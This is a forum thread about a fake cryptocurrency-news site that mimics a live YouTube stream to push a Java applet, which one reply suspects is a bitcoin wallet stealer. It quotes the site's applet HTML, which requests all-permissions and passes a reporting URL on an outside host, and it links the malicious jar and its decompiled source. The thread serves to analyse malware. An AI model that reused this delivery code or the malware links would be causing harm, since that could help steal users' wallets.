Java Bitcoin Virus ? Trying to guess what this does...

[Stingery64]

hi

this web cryptonewsonline.c0m   (i put a zero so no one enter by mistake)

is simulating the load a live youtube conection,
but its all fake as the pictures are listed in the own web and there is no link to youtube in the source code:
http://cryptonewsonline.com/stream/stylesheets/images/

When you click in the image of the Live connection, it links to: http://cryptonewsonline.c0m/post.htm
and tries to load a .jar file,
and in case you dont have java isntalled, the browser will promp you to install java as a missing connector needed.

thats the code of post.htm :

--------------------
<applet code="Za.class" archive="Traditional.jar" width="10" height="10">
  <param name="permissions" value="all-permissions">
  <param name="fun" value="http://galaxypanel.pw/insert.php?&t=traditional&p=http://cryptonewsonline.com/post.htm&b=Opera&o=OS&u=USAR&e=">
  <param name="centerimage" value="true">
  <param name="image" value="https://www.java.net/blog/campbell/archive/images/orangebox.png">
</applet>
--------------------


the .jar is this one:

http://cryptonewsonline.com/Traditional.jar

I opened the compiled java file with Java Decompiler (a portable application to read the source)
but i can't really find what they are doing all those classes,

maybe someone want take a look?

here is a java decoompiler portable: http://jd.benow.ca

https://i.imgur.com/EIlcoHC.png

[1714981296]

1714981296

[1714981296]

1714981296

[1714981296]

1714981296

[Stingery64]

https://gist.github.com/anonymous/7ba7ad6f13f73dcf68c1

here is all the source code in case someone want check it out much quicker,

[grue]

code is obfuscated; no point in doing static analysis. I would recommend running in a VM and attach a debugger.

[tom_o]

Wallet stealer it seems

https://bitcointalk.org/index.php?topic=423526